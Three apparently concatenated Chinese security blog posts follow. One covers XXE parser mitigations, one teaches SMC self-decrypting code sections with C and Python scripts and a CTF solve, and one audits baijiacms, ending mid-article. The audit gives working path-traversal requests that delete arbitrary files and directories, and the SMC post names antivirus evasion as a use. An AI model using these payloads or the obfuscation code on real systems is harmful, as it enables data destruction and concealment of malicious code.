前言 近期准备面试题时，XXE漏洞防范措施（或者说修复方式）在一些文章中比较简略，故本文根据研究进行总结，作为技术漫谈罢了。 简述 XXE漏洞 XXE（XML外部实体注入），程序解析XML数据时候，同时解析了攻击者伪造的外部实体。XML用途是为了跨平台语言传输数据，常常用于WEB开发等。 XXE漏洞攻防情况 通常来说，XML文档生成时会常用到XXE和内部实体。因此开发团队根据项目需求去进行防范XXE漏洞。 然而实际情况是，即使采取了防范措施（错误的方法），XXE漏洞仍然可以大行其道。 有一个案例，某开发团队针对CVE-2018-20318漏洞进行了及时的修复，依照的是官方的修复方案： 禁止实体扩展引用，dbFactory.setExpandEntityReferences(false) 然而后续XXE漏洞仍然可以奏效，有师傅又提交了CVE漏洞。 最后有师傅总结正确的修复方法，如下： 禁用XXE处理分析 根据上述所说，XXE漏洞的正确处理是尤为重要的。我们这里以Java为例，并且应用偏向于JAXP API进行分析如何禁用XXE处理。 禁用文档类型 首先可以禁用文档类型。实体通过XML 文档的 DOCTYPE 进行声明。 我们在进行安全开发规划时，如确定不需要 DOCTYPE 声明时，可以完全禁用禁用文档类型。 factory.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true); 当我们设置为true时，disallow-doctype-decl 使XML处理器发现DOCTYPE 声明时抛出异常。 禁用外部实体声明 其次是可以允许声明DOCTYPE，但禁用外部实体声明。 故若想要正常处理其他DTD声明，只针对外部实体进行抛出异常。可以用下面两种方法设置为flase来处理： factory.setFeature("http://xml.org/sax/features/external-general-entities", false);factory.setFeature("http://xml.org/sax/features/external-parameter-entities", false); 补充说明：在PHP中，libxml库默认下是安全的，总是禁用外部实体。除非通过设置LIBXML_NOENT参数进行允许。如下： $doc = simplexml_load_string($xml, "SimpleXMLElement", LIBXML_NOENT); // !XXE enabled!$doc = simplexml_load_string($xml, "SimpleXMLElement"); // XXE disabled 启用安全处理 在Java中可以使用Feature for Secure Processing (FSP)进行安全处理。如下： factory.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true); FSP属于一种核心Java机制，用于以应用限制去配置XML处理器，从而可以防范XML拒绝服务攻击和XXE漏洞。 默认设置下，FSP处于部分启用的状态，XML拒绝服务攻击可以防范。而XXE漏洞我们需要通过调用setFeature方法，将FSP由部分启用转为完全启用。 不过也有特例，例如Apache Xerces中FSP不限制外部连接，无法防范XXE漏洞。 总之，开发人员应当测试涉及XXE漏洞的FSP配置，并结合其他方式来禁用或者限制XXE。 禁用实体引用扩展 XML文档中寻找实体引用主要有两种方式： （1）DOM XML解析器作值替换引用 （2）DOM树创建空实体进行引用 将实体作值替换的机制在解析恶意XML文件时，可能会泄露敏感信息。 在Java中，对象DocumentBuilder中的etExpandEntityReferences方法用于配置实体引用： DocumentBuilderFactory factory = DocumentBuilderFactory.newInstance();factory.setExpandEntityReferences(false); 当配置为false时，不会进行实体引用。因而可以防范XXE漏洞。 扩展外部实体引用是发生在已提取外部内容之后。 因此禁用后且攻击者无法造成泄露敏感数据，仍然执行请求外部资源。 不过经过禁用实体引用扩展，攻击者仅能进行blind SSRF攻击，难以实际造成威胁。 所以禁用实体引用扩展也是我们防范XXE漏洞的可选方案。 结束语 本文为XXE漏洞相关的防范措施漫谈，主要针对禁用XXE处理。 可以采取禁用文档类型、禁用外部实体声明、启用安全处理、禁用实体引用扩展这四种方式去进行防范。

前言 近些日子在很多线上比赛中都遇到了smc文件加密技术,比较出名的有Hgame杭电的比赛,于是我准备实现一下这项技术，但是在网上看了很多文章，发现没有讲的特别详细的，或者是无法根据他们的方法进行实现这项技术，因此本篇文章就是分享我在学习以及尝试smc文件加密技术时所遇到的麻烦以及心得。 该篇文章将会从我学习这项技术的视角，讲述我屡次失败的经历，一点点深入。 SMC局部代码加密技术简介： SMC（Software-Based Memory Encryption）是一种局部代码加密技术，它可以将一个可执行文件的指定区段进行加密，使得黑客无法直接分析区段内的代码，从而增加恶意代码分析难度和降低恶意攻击成功的可能性。 SMC的基本原理是在编译可执行文件时，将需要加密的代码区段（例如函数、代码块等）单独编译成一个section（段），并将其标记为可读、可写、不可执行（readable, writable, non-executable），然后通过某种方式在程序运行时将这个section解密为可执行代码，并将其标记为可读、可执行、不可写（readable, executable, non-writable）。这样，攻击者就无法在内存中找到加密的代码，从而无法直接执行或修改加密的代码。 SMC技术可以通过多种方式实现，例如修改PE文件的Section Header、使用API Hook实现代码加密和解密、使用VMProtect等第三方加密工具等。加密时一般采用异或等简单的加密算法，解密时通过相同的算法对密文进行解密。SMC技术虽然可以提高恶意代码的抗分析能力，但也会增加代码运行的开销和降低代码运行速度。 具体来说，SMC实现的主要步骤包括： 读取PE文件并找到需要加密的代码段。 将代码段的内容进行异或加密，并更新到内存中的代码段。 重定向代码段的内存地址，使得加密后的代码能够正确执行。 执行加密后的代码段。 SMC的优点在于： SMC采用的是软件实现方式，因此不需要硬件支持，可以在任何平台上运行。 SMC对于程序的执行速度影响较小，因为代码解密和执行过程都是在内存中进行的。 SMC可以对代码进行多次加密，增加破解的难度。 SMC可以根据需要对不同的代码段进行不同的加密方式，从而提高安全性。 然而，SMC的缺点也显而易见，主要包括： SMC的实现比较复杂，需要涉及到PE文件结构、内存管理等方面的知识。 SMC需要在运行时动态地解密代码，因此会对程序的性能产生一定的影响。 SMC只能对静态的代码进行加密，对于动态生成的代码无法进行保护。 SMC对于一些高级的破解技术（如内存分析）可能无法完全保护程序。 综上所述，SMC是一种局部代码加密技术，可以提高程序的安全性，但也存在一些局限性。在实际应用中，需要根据具体的情况选择最合适的保护方案，综合考虑安全性、性能和可维护性等因素。 [流程图] +---------------------+ | 读取PE文件 | | 找到代码段 | +---------------------+ | | v +---------------------------------+ | 对代码段进行异或加密 | | 并更新到内存中的代码段 | +---------------------------------+ | | v +---------------------------------+ | 重定向代码段的内存地址， | | 使得加密后的代码能够正确执行 | +---------------------------------+ | | v +---------------------+ | 执行加密后的代码段 | +---------------------+ [小结一下] 前面说的非常的高端，其实通俗的讲就是程序可以自己对自己底层的字节码进行操作，就是所谓的自解密技术。其在ctf比赛中常见的就是可以将一段关键代码进行某种加密，然后程序运行的时候就直接解密回来,这样就可以干扰解题者的静态分析,在免杀方面也是非常好用的技术。可以利用该技术隐藏关键代码。 言归正传 如何实现这项技术 说实话，实现这项技术我是踩了非常多的坑的，接下来将会一一分享。 用伪代码解释一下该技术： proc main: ............ IF .运行条件满足  CALL DecryptProc （Address of MyProc）//对某个函数代码解密 ........  CALL MyProc                           //调用这个函数 ........  CALL EncryptProc （Address of MyProc）//再对代码进行加密，防止程序被Dump ...... end main OK，非常明确，首先我是使用了Dev-C++ 6.7.5编译器，使用的MinGW GCC 9.2.0 32bit Debug的编译规则。 我们回忆一下该项技术，加入我们需要加密的是函数fun，那么我们首先需要使用指针找到fun的地址，一开始我使用的是int类型的指针，代码如下： void fun() { char flag[]="flag{this_is_test}"; printf("%s",flag); } int main () { int *a=(int *)fun; for(int i = 0 ; i < 10 ; i++ ) { printf("%x ",*(a++)); } } 输出结果为： 83e58955 45c738ec 616c66e5 e945c767 6968747b 73ed45c7 c773695f 745ff145 c7667365 7d74f545 然后我们把编译出来的文件放到ida里面观察。 可以发现输出的内容确实是fun的字节码,但是由于int在c语言中占用了四个字节,因此是由四个16进制的机器码根据小端序排列输出的，那么为了解决这种连续字节码的问题我们需要找到一个只占用一个字节的指针，首先我想到了char类型，于是我马上更改代码，使用char类型的指针，得到了如下的输出结果。 55 ffffff89 ffffffe5 ffffff83 ffffffec 38 ffffffc7 45 ffffffe5 66 显然，这里是忽略的char的符号位的问题，有符号char型如果最高位是1，意思是超过了0x7f，当%X格式化输出的时候，则会将这个类型的值拓展到int型的32位，所以才会出现0xff，被扩展为ffffffff。 一筹莫展之际，我想起了在c语言中还有一种数据类型是只占一个字节的，那就是byte类型的数据，将代码改成byte类型之后可以发现输出变得正常了。 输出为： 55 89 e5 83 ec 38 c7 45 e5 66 这个就是正确的字节码的形式了。 那么我们需要定位到程序段进行加密了,由于本次只是实验，我们采取简单的异或加密方式，异或加密的特点就是加密函数也可以是解密函数,极大的方便了我们此次实验。我们可以先在ida中看到我们需要加密的程序段的位置。 在ida中我们可以发现我们需要解密的fun函数占用的地址段是0x00401410-00401451,那我们只需要将这一段内存中的机器码进行异或加密理论上就可以实现smc文件加密技术了。 实现代码如下： void fun() { char flag[]="flag{this_is_test}"; printf("%s",flag); } int main () { byte *a=(byte *)fun; byte *b = a ; for( ; a!=(b+0x401451-0x401410+1) ; a++ ) { *a=*a^3; } fun(); } 这段代码直接运行的话会出现内存错误，这是因为代码运行的时候对原本未被加密的fun函数进行了异或处理，导致本来应该是解密的操作变成了加密操作，然后机器无法识别该段内存就出现了内存错误，因此在运行代码前我们需要将文件中的fun函数部分进行加密操作。我这里使用idapython对字节码进行操作，然后将文件dump出来，完成对文件的加密。 idapython脚本为： for i in range(0x401410,0x401451):    patch_byte(i,get_wide_byte(i)^3) 运行后把代码dump下来，再运行。 发现出现内存错误告警，猜测可能是dev-c++的编译器开启了随机基地址和数据保护,因此选择更换编译器，并关闭随机基地址选项。这里使用的是visual studio 2019，32位的debug模式进行编译。 但是遗憾的是仍然无法运行，思考了一会儿之后发现可能是该段内存没有被设置成可读、可执行、可写入，导致程序无法识别这段内存了，因此我们改变方法使用程序段的概念，通过对整个程序段进行加密解密，来实现smc技术。 使用的代码是： #include<Windows.h> #include<string> #include<string.h> using namespace std; #include <iostream> #pragma code_seg(".hello") void Fun1() { char flag[]="flag{this_is_test}"; printf("%s",flag); } #pragma code_seg() #pragma comment(linker, "/SECTION:.hello,ERW") void Fun1end() { } void xxor(char* soure, int dLen)   //异或 {    for (int i = 0; i < dLen;i++)   {         soure[i] = soure[i] ^3;   } } void SMC(char* pBuf)     //SMC解密/加密函数 {    const char* szSecName = ".hello";    short nSec;    PIMAGE_DOS_HEADER pDosHeader;    PIMAGE_NT_HEADERS pNtHeader;    PIMAGE_SECTION_HEADER pSec;    pDosHeader = (PIMAGE_DOS_HEADER)pBuf;    pNtHeader = (PIMAGE_NT_HEADERS)&pBuf[pDosHeader->e_lfanew];    nSec = pNtHeader->FileHeader.NumberOfSections;    pSec = (PIMAGE_SECTION_HEADER)&pBuf[sizeof(IMAGE_NT_HEADERS) + pDosHeader->e_lfanew];    for (int i = 0; i < nSec; i++)   {        if (strcmp((char*)&pSec->Name, szSecName) == 0)       {            int pack_size;            char* packStart;            pack_size = pSec->SizeOfRawData;            packStart = &pBuf[pSec->VirtualAddress];            xxor(packStart, pack_size);            return;       }        pSec++;   } } void UnPack()   //解密/加密函数 {    char* hMod;    hMod = (char*)GetModuleHandle(0);  //获得当前的exe模块地址    SMC(hMod); } int main() {   //UnPack();    UnPack(); //    Fun1();    return 0; } 如此操作后，做一个简单的验证看看能不能成功，就是进行两次调用unpack函数来看看程序能否正常运行，发现程序成功的输出了flag那么使用程序段的方式是正确的！！ 这段代码实现了一个简单的SMC自修改代码技术，主要包括以下几个部分： 使用 #pragma code_seg 指令将 Fun1() 函数代码段定义为一个名为 ".hello" 的新代码段，使其与其他代码段隔离开来，方便后面的加密和解密。 使用 #pragma comment(linker, "/SECTION:.hello,ERW") 指令将 ".hello" 代码段设置为可读、可执行、可写入的，以便后面的加密和解密操作。 定义 Fun1end() 函数作为 Fun1() 函数的结束点，以便后面的加密操作。 定义 xxor() 函数用于将指定的字符串进行异或加密/解密。 定义 SMC() 函数，该函数用于解密指定代码段的内容。具体操作是遍历 PE 文件的各个段，找到指定代码段并对其进行解密。 定义 UnPack() 函数，该函数用于对当前进程的代码段进行解密操作。具体操作是获取当前模块的句柄，读取模块的 PE 文件并对指定代码段进行解密。 在 main() 函数中调用 UnPack() 函数进行解密操作，然后调用 Fun1() 函数进行计算。 需要注意的是，这段代码只是一个简单的示例，实际应用中可能需要更加复杂的加密和解密方法，以及更多的安全措施来保护代码的安全性。同时，SMC自修改代码技术也存在一定的风险和挑战，需要仔细评估和规划，谨慎使用。 代码写好之后，仍然需要我们自己手动先加密程序，在别的文章中所使用的方法和工具我找了很久都没有找到，因此决定自己使用ida+idapython来实现对程序的加密，最后dump出程序，然后程序运行时会自己进行解密。 ida中的hello程序段 我们需要的是将所有hello程序段的内容进行加密。 idapython脚本： for i in range(0x417000,0x4170A4):    patch_byte(i,get_wide_byte(i)^3) 虽然dump出来的程序能输出我们程序中的值，但是仍然出现了堆栈不平衡的问题，因此在终端运行程序时仍然会爆出内存错误的告警，研究到此时我已经心态崩了,找了很多大牛的博客都没有详细提到怎么实现加密程序，那这样的话只能自己手撸了，这里使用python语言，代码为： import pefile def encrypt_section(pe_file, section_name, xor_key):   """   加密PE文件中指定的区段   """   # 找到对应的section   for section in pe_file.sections:       if section.Name.decode().strip('\x00') == section_name:           print(f"[*] Found {section_name} section at 0x{section.PointerToRawData:08x}")           data = section.get_data()           encrypted_data = bytes([data[i] ^ xor_key for i in range(len(data))])           pe_file.set_bytes_at_offset(section.PointerToRawData, encrypted_data)           print(f"[*] Encrypted {len(data)} bytes at 0x{section.PointerToRawData:08x}")           return   print(f"[!] {section_name} section not found!") if __name__ == "__main__":   filename = "test1.exe"#加密文件的名字,需要在同一根目录下   section_name = ".hello"#加密的代码区段名字   xor_key = 0x03#异或的值   print(f"[*] Loading {filename}")   pe_file = pefile.PE(filename)   # 加密   print("[*] Encrypting section")   encrypt_section(pe_file, section_name, xor_key)   # 保存文件   new_filename = filename[:-4] + "_encrypted.exe"   print(f"[*] Saving as {new_filename}")   pe_file.write(new_filename)   pe_file.close() 这段代码实现了对PE文件中指定的代码区段进行异或加密的功能，具体解释如下： 导入pefile模块：该模块提供了解析PE文件格式的功能； 定义encrypt_section函数：该函数接收三个参数，分别是PE文件对象pe_file、待加密区段名称section_name和异或值xor_key。函数首先遍历PE文件中的所有区段，查找名字为section_name的区段； 对指定的代码区段进行加密：如果找到了名字为section_name的代码区段，该函数调用PE文件对象的set_bytes_at_offset方法，将指定区段中的每个字节和异或值异或，得到加密后的数据，并将加密后的数据写回指定区段。注意，set_bytes_at_offset方法需要传入一个字节串作为参数，因此需要将加密后的数据转换为字节串； main函数：该函数首先指定待加密的PE文件名filename、待加密的区段名称section_name和异或值xor_key。然后，它创建一个PE文件对象pe_file，读入PE文件；接着调用encrypt_section函数，对指定区段进行加密；最后，将加密后的文件写入新的文件中，并关闭PE文件对象。 这段代码的执行过程如下： 调用main函数，读取PE文件test1.exe； 找到名字为.hello的区段，对其中的每个字节和异或值0x03进行异或，得到加密后的数据； 将加密后的数据写回.hello区段，并将加密后的文件保存为test1_encrypted.exe。 脚本完成后，满怀激动的运行它！ 成功了！！ 终端也成功的运行出了加密后的程序，我们再到ida中观察它。 成功的无法静态分析。那么至此我们就成功的实现了该项技术！ CTF实战 SMC 技术在 CTF 比赛中有很多应用，主要是用来对抗反调试和反编译等工具的逆向分析。下面是几个常见的应用场景： 局部代码加密：CTF 比赛中有很多加密的二进制程序，利用 SMC 技术可以对程序的关键代码进行加密，增加分析难度，提高程序的安全性。 加密字符串和常量：CTF 比赛中有很多加密的字符串和常量，这些字符串和常量通常用来存储关键信息，如密钥、密码等。利用 SMC 技术可以对这些字符串和常量进行加密，增加分析难度，提高程序的安全性。 防止调试：CTF 比赛中有很多程序会使用调试器进行逆向分析，利用 SMC 技术可以对程序进行调试器检测和防御，防止调试器的使用。 防止反编译：CTF 比赛中有很多程序会被反编译，利用 SMC 技术可以对程序进行反编译检测和防御，防止程序被反编译。 总之，SMC 技术在 CTF 比赛中是一个非常有用的技术，可以用来保护程序的安全性，增加分析难度，提高程序的安全性。 [Hgame2023]patchme 点开文件可以看到一个可疑函数对文件地址进行操作，怀疑是smc文件加密技术。 跟踪过去看一看。 发现地址爆红，出现大量没有被解析的数据段那么实锤此处就是smc文件加密，那么我们将其异或回去，使用idc或者idapython 运行idapython脚本之后发现本来ida无法识别的汇编代码变得可以识别了，那么我们声明所有的未声明函数。 就可以在下面找到输出flag的方法了。 EXP #include<iostream> #include<algorithm> #include<cstdio> #include<cmath> #include<map> #include<vector> #include<queue> #include<stack> #include<set> #include<string> #include<cstring> #include<list> #include<stdlib.h> using namespace std; typedef int status; typedef int selemtype; int ida_chars[] = { 0xFA, 0x28, 0x8A, 0x80, 0x99, 0xD9, 0x16, 0x54, 0x63, 0xB5, 0x53, 0x49, 0x09, 0x05, 0x85, 0x58, 0x97, 0x90, 0x66, 0xDC, 0xA0, 0xF3, 0x8C, 0xCE, 0xBD, 0x4C, 0xF4, 0x54, 0xE8, 0xF3, 0x5C, 0x4C, 0x31, 0x83, 0x67, 0x16, 0x99, 0xE4, 0x44, 0xD1, 0xAC, 0x6B, 0x61, 0xDA, 0xD0, 0xBB, 0x55 }; int c[]={ 0x92, 0x4F, 0xEB, 0xED, 0xFC, 0xA2, 0x4F, 0x3B, 0x16, 0xEA, 0x67, 0x3B, 0x6C, 0x5A, 0xE4, 0x07, 0xE7, 0xD0, 0x12, 0xBF, 0xC8, 0xAC, 0xE1, 0xAF, 0xCE, 0x38, 0x91, 0x26, 0xB7, 0xC3, 0x2E, 0x13, 0x43, 0xE6, 0x11, 0x73, 0xEB, 0x97, 0x21, 0x8E, 0xC1, 0x0A, 0x54, 0xAE, 0xB5, 0xC9,0x28 }; int main () { for(int i = 0 ; i <= 46 ; i ++ ) { printf("%c",ida_chars[i]^c[i]); } }

前言 之前审计的CMS大多是利用工具，即Seay+昆仑镜联动扫描出漏洞点，而后进行审计。感觉自己的能力仍与零无异，因此本次审计CMS绝大多数使用手动探测，即通过搜索危险函数的方式进行漏洞寻找，以此来提升审计能力，希望对正在学习代码审计的师傅能有所帮助。 环境搭建 源码链接如下所示https://gitee.com/openbaijia/baijiacms安装至本地后，我这里是phpstudy+win10，所以直接解压到phpstudy的www目录下即可。 接下来去创建一个数据库用于存储CMS信息。（在Mysql命令行中执行） 接下来访问CMS，会默认跳转至安装界面。 数据库名称和账密注意一下就好，其他随便写。 而后安装成功，可以开始进行审计了。 审计 准备工作 我们拿到一套源码时，首先需要对具体文件夹进行一次分析，这样才能对CMS有一个初步的印象，为后续审计做一些铺垫。根目录如下所示： 其对应目录解释如下： addons     插件 api        接口 assets     静态文件 attachment 上传目录 cache      缓存目录 config     系统文件 include    系统文件 system     后端代码 针对system目录，这个较为常用，我们可以对其进行进一步分析。 system 系统模块目录 ├─alipay 支付宝服务窗模块 ├─bonus 优惠券模块 ├─common 公共函数模板 ├─index 登录页 ├─member 会员模块 ├─modules 可再扩展模块和模块管理 ├─public 公共模块 ├─shop 后台商城模块 ├─shopwap 前台商城模块 ├─user 系统用户 └─weixin 微信模块 对这些有过了解后，还需要看的就是一些后端支撑文件，例如这种xxxinc.php文件，他们常常存在一些漏洞，进而导致CMS出现漏洞。 所以简单阅读一下这些也是有必要的。接下来准备工作做完，就开始下一步。 路由解析 对一个CMS进行漏洞探测前，我们需要首先需要对CMS的路由有所了解。这里我们直接访问默认页面baijiacms-master/index.php，然后登录后台，这里说一下我自己认为找路由还可以的方法，就是关注一些特别点，好找一些，比如这里的修改密码界面。 我们点击它，发现此时的路由如下： baijiacms-master/index.php?mod=site&act=manager&do=changepwd&beid=1 接下来我们在Vscode中进行全局搜索，搜password= 结果如下，可以发现它的路径。 baijiacms-master\system\manager\class\web\changepwd.php 再找到它的具体位置。 我们将它与之前看到的路由进行比对，就可以发现act其实是system文件夹下的文件夹名称，do是所选择具体文件的名称,对这些有个初步的了解，待会找到文件时能在网页中访问即可。 漏洞查找 这里Seay+关键词搜索的方式进行漏洞查找。 SQL注入 疑点一（失败） 发现有很多疑似注入点，从第一个开始跟进看。 文件路由/addons/activity/class/mobile/index.php重点代码。 global $_W,$_GPC; $activityid = intval ( $_GPC ['activityid'] ); $operation = !empty($_GPC['op']) ? $_GPC['op'] : 'display'; $pagetitle = "活动报名入口"; $activity = pdo_fetch ("SELECT * FROM " . table ('activity') . " WHERE uniacid = '{$_W['uniacid']}' and id = " . $activityid ); 可以看到uniacid变量确实未被单引号包裹，可能存在注入，但我们这里注意到它是$_W['uniacid']，追溯$_W，看到global $_W,$_GPC;，这个是全局变量，所以我们直接在vscode中进行查找（ctrl+shift+f全局搜索） 发现$_GPC=$_GP，所以我们只需要确定$_GP，就 可以确定$_GPC，接下来寻找$_GP，最终在baijiacms.php中发现此变量 这里的话可以看出是对所有方法请求的参数进行了一个stripslashes函数处理，而后将参数进行了合并，合并后对数组内的参数依次进行遍历，进行htmlspecialchars函数处理，而后将实体字符&amp替换为&。不过这个是$_GPC的，但都是全局变量，$_W应该也类似，接下来再跟着看一下，我们全局搜索$_W= 这里可以发现$W=$_CMS，同时看出我们的$_W['uniacid']=$_CMS['beid']，接下来搜索$_CMS['beid']= 找到它等同于一个函数，即getDomainBeid函数，所以接下来寻找getDomainBeid函数。 function getDomainBeid() { global $_GP; $system_store = mysqld_select('SELECT id,isclose FROM '.table('system_store')." where (`website`=:website1 or `website`=:website2) and `deleted`=0 ",array(":website1"=>WEB_WEBSITE,":website2"=>'www.'.WEB_WEBSITE)); if(empty($system_store['id'])) { if(!empty($_GP['beid'])) { $system_store = mysqld_select('SELECT id,isclose FROM '.table('system_store')." where `id`=:id and `deleted`=0",array(":id"=>$_GP['beid'])); if(empty($system_store['id'])) { message("未找到相关店铺"); } if(!empty($system_store['isclose'])) { message("店铺已关闭无法访问"); } return $system_store['id']; }else { return ""; } }else { if(!empty($system_store['isclose'])) { message("店铺已关闭无法访问"); } return $system_store['id']; } } 这里可以看出system_store是由系统数据库中查出来的数据，这个对我们来说是不可控的，我们可控的是$_GP['beid']，此时看着一个SQL语句。 $system_store = mysqld_select('SELECT id,isclose FROM '.table('system_store')." where `id`=:id and `deleted`=0",array(":id"=>$_GP['beid'])); 如果我们的数据正常，他的结果应该是： id  isclose xx  xxxxxxx xx  xxxxxxx 而当我们输入beid为xx and sleep(2)这种，它毫无疑问是不会有查询结果的，这也就意味着$system_store['id']，而这个函数的最终结果是return $system_store['id'];，那么此时它就会返回空值，那么回到这个SQL语句。 pdo_fetchall("select * from " . tablename('eshop_member') . " where isagent =1 and status=1 and uniacid = " . $_W['uniacid'] . " {$condition} ORDER BY agenttime desc limit " . ($pindex - 1) * $psize . ',' . $psize); 如果我们那里正常，想让返回的不为空值，那么这个$_W['uniacid']只能接收到正常的id，也就是数据库中存储着的id值，所以这里是无法进行SQL注入的。 类似这个的还有如下文件： 文件名：system/eshop/core/mobile/commission/team.php部分PHP代码$list = pdo_fetchall("select * from " . tablename('eshop_member') . " where isagent =1 and status=1 and uniacid = " . $_W['uniacid'] . " {$condition} ORDER BY agenttime desc limit " . ($pindex - 1) * $psize . ',' . $psize); 文件名: /addons/activity 疑点二（失败） 文件路径/system/common/model/virtual.php 这里发现参数id，跟进id变量，发现来源于 public function updateGoodsStock($id = 0) { global $_W, $_GPC; $goods = pdo_fetch('select virtual from ' . tablename('eshop_goods') . ' where id=:id and type=3 and uniacid=:uniacid limit 1', array( ':id' => $id, ':uniacid' => $_W['uniacid'] )); 发现这里的id是直接赋值为0的，我们是不可控的，所以不存在注入。 任意目录及文件删除 关于漏洞寻找，大多是从一些敏感函数入手，如果觉得Seay扫描的不够全面，我们可自行查找，对于文件删除，我们这里首先想到的就是unlink函数，所以我们这里打开Vscode，ctrl+shift+f全局搜索unlink函数。 这里注意到有多个文件，js及css前端文件自不必看，我们这里要关注的是php文件，接下来从第一个开始看。 疑点一 文件路由baijiacms-master\includes\baijiacms\common.inc.php,涉及代码如下： function rmdirs($path='',$isdir=false) {    if(is_dir($path))//判定变量是否为目录   {            $file_list= scandir($path); //查看路径下的文件            foreach ($file_list as $file)//依次遍历           {                if( $file!='.' && $file!='..')//如果不是.和..               {               if($file!='qrcode')               {                    rmdirs($path.'/'.$file,true);//删除目录下的文件                 }               }           }               if($path!=WEB_ROOT.'/cache/')//如果变量名不是根目录拼接cache   {            @rmdir($path);   //删除目录                   }       }    else   {        @unlink($path);   } } 可以看到当它判定变量为目录时，会对目录下的文件进行递归，而后删除一切文件，如果它不是目录，那么他此时就会直接删除这个文件。接下来有函数了，那我们就要看哪个文件利用了这个函数，然后来进行利用。所以接下来全局搜索函数 在文件baijiacms-master\system\manager\class\web\database.php中发现如下代码： if($operation=='delete') { $d = base64_decode($_GP['id']); $path = WEB_ROOT . '/config/data_backup/'; if(is_dir($path . $d)) { rmdirs($path . $d); message('备份删除成功！', create_url('site', array('act' => 'manager','do' => 'database','op'=>'restore')),'success'); }} 可以发现这里对变量进行了base64_decode处理，这下我们想删除的目录的话，我们首先需要对他进行一个base64编码，同时我们可以看到这里指定了路径。 $path = WEB_ROOT . '/config/data_backup/'; 但这个我们其实是可以绕过的，后续只校验了是不是目录，而未限定目录，所以我们通过burpsuite抓包修改目录就可以实现任意目录删除。 接下来进行利用尝试首先我们在根目录下新建一个目录（名字随便，我这里为qwq）。 接下来访问这个数据库备份界面，具体路由如下： http://127.0.0.1:8080/baijiacms-master/index.php?mod=site&act=manager&do=database&op=restore&beid=1 开启bp抓包，点击删除功能点。发送到重放包界面，修改id为Li4vLi4vcXdx(../../qwq的Base64编码形式) 此时再回根目录查看。 疑点二 除了rmdir和unlink，我们常常还可以关注delete函数，因为他直译过来也是删除的意思，所以接下来就全局进行搜索delete() 而后在includes\baijiacms\common.inc.php中发现相关代码，具体代码如下： function file_delete($file_relative_path) { if(empty($file_relative_path)) { return true; } $settings=globaSystemSetting(); if(!empty($settings['system_isnetattach'])) { if($settings['system_isnetattach']==1) { require_once(WEB_ROOT.'/includes/lib/lib_ftp.php'); $ftp=new baijiacms_ftp(); if (true == 这里重点关注这一个 if(!empty($settings['system_isnetattach'])) 当这个执行通过时，就不会去删除，反之，直接将文件删除，因此我们有必要去找一下这个是什么东西，照旧，全局搜索。 这里发现是远程附件，因此我们这里选择本地的话，按理说就可直达else，对文件进行直接删除，访问具体路由。 http://127.0.0.1:8080/baijiacms-master/index.php?mod=site&act=manager&do=netattach&beid=1 接下来就设置好了，接下来去寻找运用了这个file_delete函数的文件，全局搜索一下。 文件路由为system\eshop\core\mobile\util\uploader.php，部分代码如下： } elseif ($operation == 'remove') {    $file = $_GPC['file'];    file_delete($file);    show_json(1); } 因此我们这里访问这个路由并设置operation为remove，按理说就可以直接删文件了，接下来尝试利用。 首先在根目录新建文件，这里命名为qwq.txt 接下来访问路由。 http://127.0.0.1:8080/baijiacms-master/index.php?mod=mobile&act=uploader&do=util&m=eshop&op=remove&file=../test.txt 此时查看根目录。 文件已成功删除。 同时，我们刚刚还看到了不止这一个文件利用了delete函数，另外的是否存在呢，我们来看一下文件路由system\eshop\core\web\shop\category.php，具体代码： elseif ($operation == 'post') { ... ... ... if (!empty($id)) {            unset($data['parentid']);            pdo_update('eshop_category', $data, array(                'id' => $id           ));                        file_delete($_GPC['thumb_old']);           这里可以发现想删除文件，需要有三个条件： 1、$operation == 'post'2、$id不为空3、$_GPC['thumb_old']为具体文件名 所以我们按理说的话，我们去访问这个路由，然后修改$operation为post，添加参数$id=1，同时附加参数$thumb_old为想删除文件名即可实现删除文件，这个$operation在前面可以看到其实是参数op 所以我们直接给op赋值为post，即可实现文件删除，接下来进行尝试。 在根目录新建文件qwq2.txt 接下来访问路由。 http://127.0.0.1:8080/baijiacms-master/index.php?mod=site&act=category&op=post&do=shop&m=eshop&beid=2&id=1&thumb_old=../qwq.txt 此时即可实现删除文件。 命令执行 针对命令执行，我们关注的函数肯定是eval、system、exec这几个，所以接下来就尝试去利用Vscode的全局搜索来寻找可疑点。首先搜索的是eval 找到的大多数是带有eval的关键词而非eval函数，只有寥寥几个文件涉及了eval函数，接下来进行简单分析。 疑点一（失败） 文件路由baijiacms-master\system\shopwap\template\mobile\login_dingtalk_pc.php，部分代码如下： function checkstatus(){$.get("<?php echo create_url('mobile',array('act' => 'dingtalk','do' => 'fastlogin_pc','op'=>'dologincheck','skey'=>$showkey));?>", {}, function(data){var data= eval("(" + data + ")"); if(data.status==1) { location.href="<?php echo create_url('mobile',array('act' => 'dingtalk' 这里的话可以看出是js类代码，简单分析一下这个函数，不难发现参数第一个是取对应的URL，第二个函数，也就是function(data),它是对从第一个URL中提取出的参数进行执行，这里我们接着看函数，它这里当执行过函数后，对结果的状态取值进行了判断，结果为1时判断为登录成功，就会跳转至另一个界面，而当为-1时就会登录失败，重回登录界面，所以我们这里可以看到他其实是不存在输出执行结果的地方的，所以我们根本无从下手，这里是无法实现命令执行的，所以Pass。 类似的文件还有如下几个，亦不必再看。 文件路由：baijiacms-master\system\shopwap\template\mobile\login_weixin_pc.php 部分代码： function checkstatus(){ $.get("<?php echo create_url('mobile',array('act' => 'weixin','do' => 'fastlogin_pc','op'=>'dologincheck','skey'=>$showkey));?>", {}, function(data){ var data= eval("(" + data + ")");  if(data.status==1) { location.href="<?php echo create_url('mobile',array('act' => 'weixin','do' => 'fastlogin_pc','op'=>'tologin','skey'=>$showkey));?>"; }  if(data.status==-1) {  alert("登录失败！重新刷新二维码登录");  location.href="<?php echo create_url('mobile',array('act' => 'shopwap','do' => 'login','op'=>'weixin'));?>"; } }); } setInterval("checkstatus()",2000); 文件路由：baijiacms-master\system\weixin\template\mobile\badding_weixin_pc.php 部分代码： function checkstatus(){ $.get("<?php echo create_url('mobile',array('act' => 'weixin','do' => 'banding_pc','op'=>'dologincheck','skey'=>$showkey));?>", {}, function(data){ var data= eval("(" + data + ")");  if(data.status==1) { location.href="<?php echo create_url('mobile',array('act' => 'shopwap','do' => 'account'));?>"; }  if(data.status==-1) {  alert("登录失败！重新刷新二维码登录");  location.href="<?php echo create_url('mobile',array('act' => 'weixin','do' => 'fastlogin','bizstate'=>'banding_weixin'));?>"; } }); } setInterval("checkstatus()",2000); 疑点二 接下来我们关注system函数，直接Vscode全局搜。 